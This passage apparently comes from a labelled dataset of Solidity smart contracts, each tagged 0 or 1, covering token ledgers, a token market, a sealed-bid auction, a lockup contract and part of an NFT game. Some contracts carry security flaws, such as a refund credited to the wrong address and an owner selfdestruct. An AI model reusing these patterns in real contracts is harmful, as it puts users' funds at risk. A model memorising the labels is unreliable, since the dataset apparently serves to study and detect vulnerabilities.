if ((balances[_to] + amount) < amount) return false;
balances[_from] -= amount;
balances[_to] += amount;
allowed[_from][_sender] -= amount;
if (seenHere[_to] == false) {
seenHereA.push(_to);
seenHere[_to] = true;
}
return true;
}
function changeUsed(address _addr, int amount) onlyToken {
int myToday = int(usedToday[_addr]) + amount;
usedToday[_addr] = uint(myToday);
}
function resetUsedToday(uint8 startI, uint8 numTimes) onlyTokenOrOwner returns(uint8) {
uint8 numDeleted;
for (uint i = 0; i < numTimes && i + startI < seenHereA.length; i++) {
if (usedToday[seenHereA[i+startI]] != 0) {
delete usedToday[seenHereA[i+startI]];
numDeleted++;
}
}
return numDeleted;
}
function balanceOf(address _addr) constant returns (uint) {
if (usedToday[_addr] >= balances[_addr]) { return 0;}
return balances[_addr] - usedToday[_addr];
}
event Approval(address, address, uint);
function tokenApprove(address _from, address _spender, uint256 _value) onlyToken returns (bool) {
allowed[_from][_spender] = _value;
Approval(_from, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function changeToken(address _token) onlyOwner {
token = Token(_token);
}
function reduceTotalSupply(uint amount) onlyToken {
if (amount > totalSupply) throw;
totalSupply -= amount;
}
function setBalance(address _addr, uint amount) onlyTokenOrOwner {
if (balances[_addr] == amount) { return; }
if (balances[_addr] < amount) {
uint increase = amount - balances[_addr];
totalSupply += increase;
} else {
uint decrease = balances[_addr] - amount;
totalSupply -= decrease;
}
balances[_addr] = amount;
}
} | 0 |
pragma solidity ^0.4.25;
interface ERC20token {
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
contract ExoTokensMarketSimple {
ERC20token ExoToken;
address owner;
uint256 tokensPerEth;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
tokensPerEth = 1000;
}
function setTokensPerEth(uint256 _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
}
function getTokensPerEth() public view returns(uint256) {
return tokensPerEth;
}
function setERC20Token(address tokenAddr) public onlyOwner {
ExoToken = ERC20token(tokenAddr);
}
function getERC20Token() public view returns(address) {
return ExoToken;
}
function getERC20Balance() public view returns(uint256) {
return ExoToken.balanceOf(this);
}
function depositERC20Token(uint256 _exo_amount) public {
require(ExoToken.allowance(msg.sender, this) >= _exo_amount);
require(ExoToken.transferFrom(msg.sender, this, _exo_amount));
}
function BuyTokens() public payable{
require(msg.value > 0, "eth value must be non zero");
uint256 exo_balance = ExoToken.balanceOf(this);
uint256 tokensToXfer = msg.value * tokensPerEth;
require(exo_balance >= tokensToXfer, "Not enough tokens in contract");
require(ExoToken.transfer(msg.sender, tokensToXfer), "Couldn't send funds");
}
function withdrawERC20Tokens(uint _val) public onlyOwner {
require(ExoToken.transfer(msg.sender, _val), "Couldn't send funds");
}
function withdrawEther() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function setOwner(address _owner) public onlyOwner {
owner = _owner;
}
function() external payable { }
} | 1 |
pragma solidity ^0.4.18;
pragma solidity ^0.4.15;
pragma solidity ^0.4.15;
contract iERC20Token {
function totalSupply() public constant returns (uint supply);
function balanceOf( address who ) public constant returns (uint value);
function allowance( address owner, address spender ) public constant returns (uint remaining);
function transfer( address to, uint value) public returns (bool ok);
function transferFrom( address from, address to, uint value) public returns (bool ok);
function approve( address spender, uint value ) public returns (bool ok);
event Transfer( address indexed from, address indexed to, uint value);
event Approval( address indexed owner, address indexed spender, uint value);
}
contract iBurnableToken is iERC20Token {
function burnTokens(uint _burnCount) public;
function unPaidBurnTokens(uint _burnCount) public;
}
pragma solidity ^0.4.11;
contract SafeMath {
function SafeMath() public {
}
function safeAdd(uint256 _x, uint256 _y) pure internal returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
function safeSub(uint256 _x, uint256 _y) pure internal returns (uint256) {
assert(_x >= _y);
return _x - _y;
}
function safeMul(uint256 _x, uint256 _y) pure internal returns (uint256) {
uint256 z = _x * _y;
assert(_x == 0 || z / _x == _y);
return z;
}
}
contract TokenAuction is SafeMath {
struct SecretBid {
bool disqualified;
uint deposit;
uint refund;
uint tokens;
bytes32 hash;
}
uint constant AUCTION_START_EVENT = 0x01;
uint constant AUCTION_END_EVENT = 0x02;
uint constant SALE_START_EVENT = 0x04;
uint constant SALE_END_EVENT = 0x08;
event SecretBidEvent(uint indexed batch, address indexed bidder, uint deposit, bytes32 hash, bytes message);
event ExecuteEvent(uint indexed batch, address indexed bidder, uint cost, uint refund);
event ExpireEvent(uint indexed batch, address indexed bidder, uint cost, uint refund);
event BizarreEvent(address indexed addr, string message, uint val);
event StateChangeEvent(uint mask);
bool public isLocked;
uint public stateMask;
address public owner;
address public developers;
address public underwriter;
iBurnableToken public token;
uint public proceeds;
uint public strikePrice;
uint public strikePricePctX10;
uint public decimalMultiplier;
uint public developerReserve;
uint public developerPctX10K;
uint public purchasedCount;
uint public secretBidCount;
uint public executedCount;
uint public expiredCount;
uint public saleDuration;
uint public auctionStart;
uint public auctionEnd;
uint public saleEnd;
mapping (address => SecretBid) public secretBids;
uint batchSize = 4;
uint contractSendGas = 100000;
modifier ownerOnly {
require(msg.sender == owner);
_;
}
modifier unlockedOnly {
require(!isLocked);
_;
}
modifier duringAuction {
require((stateMask & (AUCTION_START_EVENT | AUCTION_END_EVENT)) == AUCTION_START_EVENT);
_;
}
modifier afterAuction {
require((stateMask & AUCTION_END_EVENT) != 0);
_;
}
modifier duringSale {
require((stateMask & (SALE_START_EVENT | SALE_END_EVENT)) == SALE_START_EVENT);
_;
}
modifier afterSale {
require((stateMask & SALE_END_EVENT) != 0);
_;
}
function TokenAuction() public {
owner = msg.sender;
}
function lock() public ownerOnly {
isLocked = true;
}
function setToken(iBurnableToken _token, uint _decimalMultiplier, address _underwriter) public ownerOnly unlockedOnly {
token = _token;
decimalMultiplier = _decimalMultiplier;
underwriter = _underwriter;
}
function setAuctionParms(uint _auctionStart, uint _auctionDuration, uint _saleDuration) public ownerOnly unlockedOnly {
auctionStart = _auctionStart;
auctionEnd = safeAdd(_auctionStart, _auctionDuration);
saleDuration = _saleDuration;
if (stateMask != 0) {
stateMask = 0;
strikePrice = 0;
executedCount = 0;
houseKeep();
}
}
function reserveDeveloperTokens(address _developers, uint _developerPctX10K) public ownerOnly unlockedOnly {
developers = _developers;
developerPctX10K = _developerPctX10K;
uint _tokenCount = token.balanceOf(this);
developerReserve = safeMul(_tokenCount, developerPctX10K) / 1000000;
}
function tune(uint _batchSize, uint _contractSendGas) public ownerOnly {
batchSize = _batchSize;
contractSendGas = _contractSendGas;
}
function houseKeep() public {
uint _oldMask = stateMask;
if (now >= auctionStart) {
stateMask |= AUCTION_START_EVENT;
if (now >= auctionEnd) {
stateMask |= AUCTION_END_EVENT;
if (strikePrice > 0) {
stateMask |= SALE_START_EVENT;
if (now >= saleEnd)
stateMask |= SALE_END_EVENT;
}
}
}
if (stateMask != _oldMask)
StateChangeEvent(stateMask);
}
function setStrikePrice(uint _strikePrice, uint _strikePricePctX10) public ownerOnly afterAuction {
require(executedCount == 0);
strikePrice = _strikePrice;
strikePricePctX10 = _strikePricePctX10;
saleEnd = safeAdd(now, saleDuration);
houseKeep();
}
function () public payable {
proceeds = safeAdd(proceeds, msg.value);
BizarreEvent(msg.sender, "bizarre payment", msg.value);
}
function depositSecretBid(bytes32 _hash, bytes _message) public duringAuction payable {
if (!(msg.sender == owner && !isLocked) &&
(_hash == 0 || secretBids[msg.sender].hash != 0) )
revert();
secretBids[msg.sender].hash = _hash;
secretBids[msg.sender].deposit = msg.value;
secretBidCount += 1;
uint _batch = secretBidCount / batchSize;
SecretBidEvent(_batch, msg.sender, msg.value, _hash, _message);
}
function disqualifyBid(address _from) public ownerOnly duringAuction {
secretBids[_from].disqualified = true;
}
function executeBid(uint256 _secret, uint256 _price, uint256 _quantity) public duringSale {
executeBidFor(msg.sender, _secret, _price, _quantity);
}
function executeBidFor(address _addr, uint256 _secret, uint256 _price, uint256 _quantity) public duringSale {
bytes32 computedHash = keccak256(_secret, _price, _quantity);
require(secretBids[_addr].hash == computedHash);
if (secretBids[_addr].deposit > 0) {
uint _cost = 0;
uint _refund = 0;
uint _priceWei = safeMul(_price, 1 szabo);
if (_priceWei >= strikePrice && !secretBids[_addr].disqualified) {
uint _lowLevelQuantity = safeMul(_quantity, decimalMultiplier);
uint _lowLevelPrice = strikePrice / decimalMultiplier;
uint256 _purchaseCount = (_priceWei > strikePrice) ? _lowLevelQuantity : (safeMul(strikePricePctX10, _lowLevelQuantity) / 1000);
var _maxPurchase = token.balanceOf(this) - developerReserve;
if (_purchaseCount > _maxPurchase)
_purchaseCount = _maxPurchase;
_cost = safeMul(_purchaseCount, _lowLevelPrice);
if (secretBids[_addr].deposit >= _cost) {
secretBids[_addr].deposit -= _cost;
proceeds = safeAdd(proceeds, _cost);
secretBids[_addr].tokens += _purchaseCount;
purchasedCount += _purchaseCount;
if (!token.transfer(_addr, _purchaseCount))
revert();
}
}
if (secretBids[_addr].deposit > 0) {
_refund = secretBids[_addr].deposit;
secretBids[_addr].refund += _refund;
secretBids[_addr].deposit = 0;
}
executedCount += 1;
uint _batch = executedCount / batchSize;
ExecuteEvent(_batch, _addr, _cost, _refund);
}
}
function expireBid(address _addr) public ownerOnly afterSale {
if (secretBids[_addr].deposit > 0) {
uint _forfeit = secretBids[_addr].deposit / 2;
proceeds = safeAdd(proceeds, _forfeit);
uint _refund = safeSub(secretBids[_addr].deposit, _forfeit);
secretBids[msg.sender].refund += _refund;
secretBids[_addr].deposit = 0;
expiredCount += 1;
uint _batch = expiredCount / batchSize;
ExpireEvent(_batch, _addr, _forfeit, _refund);
}
}
function withdrawRefund() public {
uint _amount = secretBids[msg.sender].refund;
secretBids[msg.sender].refund = 0;
msg.sender.transfer(_amount);
}
function doDeveloperGrant() public afterSale {
uint _quantity = safeMul(purchasedCount, developerPctX10K) / 1000000;
uint _tokensLeft = token.balanceOf(this);
if (_quantity > _tokensLeft)
_quantity = _tokensLeft;
if (_quantity > 0) {
_tokensLeft -= _quantity;
if (!token.transfer(developers, _quantity))
revert();
}
token.unPaidBurnTokens(_tokensLeft);
}
function payUnderwriter() public {
require(msg.sender == owner || msg.sender == underwriter);
uint _amount = proceeds;
proceeds = 0;
if (!underwriter.call.gas(contractSendGas).value(_amount)())
revert();
}
function haraKiri() public ownerOnly unlockedOnly {
selfdestruct(owner);
}
} | 0 |
pragma solidity ^0.4.17;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20 {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract owlockups {
using SafeMath for uint;
string public symbol = "OWTL";
uint256 public decimals = 18;
uint256 public totalSupply;
uint256 public totalAvailable;
uint public totalAddress;
address public admin;
uint public _lockupBaseTime = 1 days;
address public tokenAddress;
modifier onlyOwner {
require(msg.sender == admin);
_;
}
mapping ( address => uint256 ) public balanceOf;
mapping ( address => lockupMeta ) public lockups;
struct lockupMeta {
uint256 amount;
uint256 cycle_amount;
uint cycle;
uint claimed_cycle;
uint duration;
uint last_withdraw;
bool active;
bool claimed;
uint time;
}
function owlockups(address _address) public {
tokenAddress = _address;
admin = msg.sender;
}
function setAdmin(address _newAdmin) public onlyOwner {
admin = _newAdmin;
}
function lockTokens(
address _address,
uint256 _value,
uint _percentage,
uint _duration,
uint _cycle
) public onlyOwner returns (bool success) {
_value = _value * 10**uint(decimals);
lockupMeta storage lm = lockups[_address];
require(!lm.active);
uint256 _amount = (_value.mul(_percentage)).div(100);
uint256 _remaining = _value.sub(_amount);
uint256 _cycle_amount = _remaining.div(_cycle);
lm.amount = _remaining;
lm.duration = _duration * _lockupBaseTime;
lm.cycle_amount = _cycle_amount;
lm.cycle = _cycle;
lm.active = true;
lm.last_withdraw = now;
lm.time = now;
totalAddress++;
totalSupply = totalSupply.add(_value);
totalAvailable = totalAvailable.add(_amount);
balanceOf[_address] = balanceOf[_address].add(_amount);
success = true;
}
function unlockTokens() public returns (bool success) {
lockupMeta storage lm = lockups[msg.sender];
require(
lm.active
&& !lm.claimed
);
uint _curTime = now;
uint _diffTime = _curTime.sub(lm.last_withdraw);
uint _cycles = (_diffTime.div(_lockupBaseTime));
if(_cycles >= 1){
uint remaining_cycle = lm.cycle.sub(lm.claimed_cycle);
uint256 _amount = 0;
if(_cycles > remaining_cycle){
_amount = lm.cycle_amount * remaining_cycle;
lm.claimed_cycle = lm.cycle;
lm.last_withdraw = _curTime;
} else {
_amount = lm.cycle_amount * _cycles;
lm.claimed_cycle = lm.claimed_cycle.add(_cycles);
lm.last_withdraw = lm.last_withdraw.add(_cycles.mul(lm.duration));
}
if(lm.claimed_cycle == lm.cycle){
lm.claimed = true;
}
totalAvailable = totalAvailable.add(_amount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(_amount);
success = true;
} else {
success = false;
}
}
function availableTokens(address _address) public view returns (uint256 _amount) {
lockupMeta storage lm = lockups[_address];
_amount = 0;
if(lm.active && !lm.claimed){
uint _curTime = now;
uint _diffTime = _curTime.sub(lm.last_withdraw);
uint _cycles = (_diffTime.div(_lockupBaseTime));
if(_cycles >= 1){
uint remaining_cycle = lm.cycle.sub(lm.claimed_cycle);
if(_cycles > remaining_cycle){
_amount = lm.cycle_amount * remaining_cycle;
} else {
_amount = lm.cycle_amount * _cycles;
}
}
}
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(
_value > 0
&& balanceOf[msg.sender] >= _value
);
totalSupply = totalSupply.sub(_value);
totalAvailable = totalAvailable.sub(_value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
ERC20(tokenAddress).transfer(_to, _value);
return true;
}
} | 1 |
pragma solidity ^0.4.19;
contract ERC721 {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function takeOwnership(uint256 _tokenId) public;
function implementsERC721() public pure returns (bool);
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max(int256 a, int256 b) internal pure returns (int256) {
if (a > b) {
return a;
} else {
return b;
}
}
function min(int256 a, int256 b) internal pure returns (int256) {
if (a < b) {
return a;
} else {
return b;
}
}
}
contract EthernautsBase {
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('transfer(address,uint256)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('takeOwnership(uint256)')) ^
bytes4(keccak256('tokensOfOwner(address)')) ^
bytes4(keccak256('tokenMetadata(uint256,string)'));
uint8 public constant STATS_SIZE = 10;
uint8 public constant SHIP_SLOTS = 5;
enum AssetState { Available, UpForLease, Used }
enum AssetCategory { NotValid, Sector, Manufacturer, Ship, Object, Factory, CrewMember }
enum ShipStats {Level, Attack, Defense, Speed, Range, Luck}
bytes2 public ATTR_SEEDED = bytes2(2**0);
bytes2 public ATTR_PRODUCIBLE = bytes2(2**1);
bytes2 public ATTR_EXPLORABLE = bytes2(2**2);
bytes2 public ATTR_LEASABLE = bytes2(2**3);
bytes2 public ATTR_PERMANENT = bytes2(2**4);
bytes2 public ATTR_CONSUMABLE = bytes2(2**5);
bytes2 public ATTR_TRADABLE = bytes2(2**6);
bytes2 public ATTR_GOLDENGOOSE = bytes2(2**7);
}
contract EthernautsAccessControl is EthernautsBase {
event ContractUpgrade(address newContract);
address public ceoAddress;
address public ctoAddress;
address public cooAddress;
address public oracleAddress;
bool public paused = false;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCTO() {
require(msg.sender == ctoAddress);
_;
}
modifier onlyOracle() {
require(msg.sender == oracleAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == ceoAddress ||
msg.sender == ctoAddress ||
msg.sender == cooAddress
);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCTO(address _newCTO) external {
require(
msg.sender == ceoAddress ||
msg.sender == ctoAddress
);
require(_newCTO != address(0));
ctoAddress = _newCTO;
}
function setCOO(address _newCOO) external {
require(
msg.sender == ceoAddress ||
msg.sender == cooAddress
);
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function setOracle(address _newOracle) external {
require(msg.sender == ctoAddress);
require(_newOracle != address(0));
oracleAddress = _newOracle;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
function unpause() public onlyCEO whenPaused {
paused = false;
}
}
contract EthernautsStorage is EthernautsAccessControl {
function EthernautsStorage() public {
ceoAddress = msg.sender;
ctoAddress = msg.sender;
cooAddress = msg.sender;
oracleAddress = msg.sender;
}
function() external payable {
require(msg.sender == address(this));
}
mapping (address => bool) public contractsGrantedAccess;
function grantAccess(address _v2Address) public onlyCTO {
contractsGrantedAccess[_v2Address] = true;
}
function removeAccess(address _v2Address) public onlyCTO {
delete contractsGrantedAccess[_v2Address];
}
modifier onlyGrantedContracts() {
require(contractsGrantedAccess[msg.sender] == true);
_;
}
modifier validAsset(uint256 _tokenId) {
require(assets[_tokenId].ID > 0);
_;
}
struct Asset {
uint16 ID;
uint8 category;
uint8 state;
bytes2 attributes;
uint64 createdAt;
uint64 cooldownEndBlock;
uint8[STATS_SIZE] stats;
uint256 cooldown;
uint256 builtBy;
}
bool public isEthernautsStorage = true;
Asset[] public assets;
mapping (uint256 => uint256) internal assetIndexToPrice;
mapping (uint256 => address) internal assetIndexToOwner;
mapping (address => uint256) internal ownershipTokenCount;
mapping (uint256 => address) internal assetIndexToApproved;
function setPrice(uint256 _tokenId, uint256 _price) public onlyGrantedContracts {
assetIndexToPrice[_tokenId] = _price;
}
function approve(uint256 _tokenId, address _approved) public onlyGrantedContracts {
assetIndexToApproved[_tokenId] = _approved;
}
function transfer(address _from, address _to, uint256 _tokenId) public onlyGrantedContracts {
ownershipTokenCount[_to]++;
assetIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete assetIndexToApproved[_tokenId];
}
}
function createAsset(
uint256 _creatorTokenID,
address _owner,
uint256 _price,
uint16 _ID,
uint8 _category,
uint8 _state,
uint8 _attributes,
uint8[STATS_SIZE] _stats,
uint256 _cooldown,
uint64 _cooldownEndBlock
)
public onlyGrantedContracts
returns (uint256)
{
require(_ID > 0);
require(_category > 0);
require(_attributes != 0x0);
require(_stats.length > 0);
Asset memory asset = Asset({
ID: _ID,
category: _category,
builtBy: _creatorTokenID,
attributes: bytes2(_attributes),
stats: _stats,
state: _state,
createdAt: uint64(now),
cooldownEndBlock: _cooldownEndBlock,
cooldown: _cooldown
});
uint256 newAssetUniqueId = assets.push(asset) - 1;
require(newAssetUniqueId == uint256(uint32(newAssetUniqueId)));
assetIndexToPrice[newAssetUniqueId] = _price;
transfer(address(0), _owner, newAssetUniqueId);
return newAssetUniqueId;
}
function editAsset(
uint256 _tokenId,
uint256 _creatorTokenID,
uint256 _price,
uint16 _ID,
uint8 _category,
uint8 _state,
uint8 _attributes,
uint8[STATS_SIZE] _stats,
uint16 _cooldown
)
external validAsset(_tokenId) onlyCLevel
returns (uint256)
{
require(_ID > 0);
require(_category > 0);
require(_attributes != 0x0);
require(_stats.length > 0);
assetIndexToPrice[_tokenId] = _price;
Asset storage asset = assets[_tokenId];
asset.ID = _ID;
asset.category = _category;
asset.builtBy = _creatorTokenID;
asset.attributes = bytes2(_attributes);
asset.stats = _stats;
asset.state = _state;
asset.cooldown = _cooldown;
}
function updateStats(uint256 _tokenId, uint8[STATS_SIZE] _stats) public validAsset(_tokenId) onlyGrantedContracts {
assets[_tokenId].stats = _stats;
}
function updateState(uint256 _tokenId, uint8 _state) public validAsset(_tokenId) onlyGrantedContracts {
assets[_tokenId].state = _state;
}
function setAssetCooldown(uint256 _tokenId, uint256 _cooldown, uint64 _cooldownEndBlock)
public validAsset(_tokenId) onlyGrantedContracts {
assets[_tokenId].cooldown = _cooldown;
assets[_tokenId].cooldownEndBlock = _cooldownEndBlock;
}
function getStats(uint256 _tokenId) public view returns (uint8[STATS_SIZE]) {
return assets[_tokenId].stats;
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return assetIndexToPrice[_tokenId];
}
function hasAllAttrs(uint256 _tokenId, bytes2 _attributes) public view returns (bool) {
return assets[_tokenId].attributes & _attributes == _attributes;
}
function hasAnyAttrs(uint256 _tokenId, bytes2 _attributes) public view returns (bool) {
return assets[_tokenId].attributes & _attributes != 0x0;
}
function isCategory(uint256 _tokenId, uint8 _category) public view returns (bool) {
return assets[_tokenId].category == _category;
}
function isState(uint256 _tokenId, uint8 _state) public view returns (bool) {
return assets[_tokenId].state == _state;
}
function ownerOf(uint256 _tokenId) public view returns (address owner)
{
return assetIndexToOwner[_tokenId];
}
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
function approvedFor(uint256 _tokenId) public view onlyGrantedContracts returns (address) {
return assetIndexToApproved[_tokenId];
}
function totalSupply() public view returns (uint256) {
return assets.length;
}
function getTokenList(address _owner, uint8 _withAttributes, uint256 start, uint256 count) external view returns(
uint256[6][]
) {
uint256 totalAssets = assets.length;
if (totalAssets == 0) {
return new uint256[6][](0);
} else {
uint256[6][] memory result = new uint256[6][](totalAssets > count ? count : totalAssets);
uint256 resultIndex = 0;
bytes2 hasAttributes = bytes2(_withAttributes);
Asset memory asset;
for (uint256 tokenId = start; tokenId < totalAssets && resultIndex < count; tokenId++) {
asset = assets[tokenId];
if (
(asset.state != uint8(AssetState.Used)) &&
(assetIndexToOwner[tokenId] == _owner || _owner == address(0)) &&
(asset.attributes & hasAttributes == hasAttributes)
) {
result[resultIndex][0] = tokenId;
result[resultIndex][1] = asset.ID;
result[resultIndex][2] = asset.category;
result[resultIndex][3] = uint256(asset.attributes);
result[resultIndex][4] = asset.cooldown;
result[resultIndex][5] = assetIndexToPrice[tokenId];
resultIndex++;
}
}
return result;
}
}
}
contract EthernautsOwnership is EthernautsAccessControl, ERC721 {
EthernautsStorage public ethernautsStorage;
string public constant name = "Ethernauts";
string public constant symbol = "ETNT";
bytes4 constant InterfaceSignature_ERC165 = bytes4(keccak256('supportsInterface(bytes4)'));
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed owner, address indexed approved, uint256 tokens);
event Build(address owner, uint256 tokenId, uint16 assetId, uint256 price);
function implementsERC721() public pure returns (bool) {
return true;
}
function supportsInterface(bytes4 _interfaceID) external view returns (bool)
{
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return ethernautsStorage.ownerOf(_tokenId) == _claimant;
}
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return ethernautsStorage.approvedFor(_tokenId) == _claimant;
}
function _approve(uint256 _tokenId, address _approved) internal {
ethernautsStorage.approve(_tokenId, _approved);
}
function balanceOf(address _owner) public view returns (uint256 count) {
return ethernautsStorage.balanceOf(_owner);
}
function transfer(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_to != address(ethernautsStorage));
require(_owns(msg.sender, _tokenId));
ethernautsStorage.transfer(msg.sender, _to, _tokenId);
}
function approve(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_owns(msg.sender, _tokenId));
_approve(_tokenId, _to);
Approval(msg.sender, _to, _tokenId);
}
function _transferFrom(
address _from,
address _to,
uint256 _tokenId
)
internal
{
require(_to != address(0));
require(_owns(_from, _tokenId));
require(_approvedFor(_to, _tokenId));
ethernautsStorage.transfer(_from, _to, _tokenId);
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
_transferFrom(_from, _to, _tokenId);
}
function takeOwnership(uint256 _tokenId) public {
address _from = ethernautsStorage.ownerOf(_tokenId);
require(_from != address(0));
_transferFrom(_from, msg.sender, _tokenId);
}
function totalSupply() public view returns (uint256) {
return ethernautsStorage.totalSupply();
}
function ownerOf(uint256 _tokenId)
external
view
returns (address owner)
{
owner = ethernautsStorage.ownerOf(_tokenId);
require(owner != address(0));
}
function createNewAsset(
uint256 _creatorTokenID,
address _owner,
uint256 _price,
uint16 _assetID,
uint8 _category,
uint8 _attributes,
uint8[STATS_SIZE] _stats
)
external onlyCLevel
returns (uint256)
{
require(_owner != address(0));
uint256 tokenID = ethernautsStorage.createAsset(
_creatorTokenID,
_owner,
_price,
_assetID,
_category,
uint8(AssetState.Available),
_attributes,
_stats,
0,
0
);
Build(
_owner,
tokenID,
_assetID,
_price
);
return tokenID;
}
function isExploring(uint256 _tokenId) public view returns (bool) {
uint256 cooldown;
uint64 cooldownEndBlock;
(,,,,,cooldownEndBlock, cooldown,) = ethernautsStorage.assets(_tokenId);
return (cooldown > now) || (cooldownEndBlock > uint64(block.number));
}
}
contract EthernautsLogic is EthernautsOwnership {
address public newContractAddress;
function EthernautsLogic() public {
ceoAddress = msg.sender;
ctoAddress = msg.sender;
cooAddress = msg.sender;
oracleAddress = msg.sender;
paused = true;
}
function setNewAddress(address _v2Address) external onlyCTO whenPaused {
newContractAddress = _v2Address;
ContractUpgrade(_v2Address);
}
function setEthernautsStorageContract(address _CStorageAddress) public onlyCLevel whenPaused {
EthernautsStorage candidateContract = EthernautsStorage(_CStorageAddress);
require(candidateContract.isEthernautsStorage());
ethernautsStorage = candidateContract;
}
function unpause() public onlyCEO whenPaused {
require(ethernautsStorage != address(0));
require(newContractAddress == address(0));
require(ethernautsStorage.contractsGrantedAccess(address(this)) == true);
super.unpause();
}
function withdrawBalances(address _to) public onlyCLevel {
_to.transfer(this.balance);
}
function getBalance() public view onlyCLevel returns (uint256) {
return this.balance;
}
}
contract EthernautsExplore is EthernautsLogic {
function EthernautsExplore() public
EthernautsLogic() {}
event Explore(uint256 shipId, uint256 sectorID, uint256 crewId, uint256 time);
event Result(uint256 shipId, uint256 sectorID);
uint8 constant STATS_CAPOUT = 2**8 - 1;
bool public isEthernautsExplore = true;
uint256 public secondsPerBlock = 15;
uint256 public TICK_TIME = 15;
uint256 public percentageCut = 90;
int256 public SPEED_STAT_MAX = 30;
int256 public RANGE_STAT_MAX = 20;
int256 public MIN_TIME_EXPLORE = 60;
int256 public MAX_TIME_EXPLORE = 2160;
int256 public RANGE_SCALE = 2;
enum SectorStats {Size, Threat, Difficulty, Slots}
uint256[] explorers;
mapping (uint256 => uint256) internal tokenIndexToExplore;
mapping (uint256 => uint256) internal tokenIndexToSector;
mapping (uint256 => uint256) internal exploreIndexToCrew;
mapping (uint256 => uint16) public missions;
mapping (uint256 => uint256) public sectorToOwnerCut;
mapping (uint256 => uint256) public sectorToOracleFee;
function getExplorerList() public view returns(
uint256[3][]
) {
uint256[3][] memory tokens = new uint256[3][](explorers.length < 50 ? explorers.length : 50);
uint256 index = 0;
for(uint256 i = 0; i < explorers.length && index < 50; i++) {
if (explorers[i] != 0) {
tokens[index][0] = explorers[i];
tokens[index][1] = tokenIndexToSector[explorers[i]];
tokens[index][2] = exploreIndexToCrew[i];
index++;
}
}
if (index == 0) {
return new uint256[3][](0);
} else {
return tokens;
}
}
function setOwnerCut(uint256 _sectorId, uint256 _ownerCut) external onlyCLevel {
sectorToOwnerCut[_sectorId] = _ownerCut;
}
function setOracleFee(uint256 _sectorId, uint256 _oracleFee) external onlyCLevel {
sectorToOracleFee[_sectorId] = _oracleFee;
}
function setTickTime(uint256 _tickTime) external onlyCLevel {
TICK_TIME = _tickTime;
}
function setPercentageCut(uint256 _percentageCut) external onlyCLevel {
percentageCut = _percentageCut;
}
function setMissions(uint256 _tokenId, uint16 _total) public onlyCLevel {
missions[_tokenId] = _total;
}
function explore(uint256 _shipTokenId, uint256 _sectorTokenId, uint256 _crewTokenId) payable external whenNotPaused {
require(msg.value >= sectorToOwnerCut[_sectorTokenId]);
require(ethernautsStorage.isCategory(_shipTokenId, uint8(AssetCategory.Ship)));
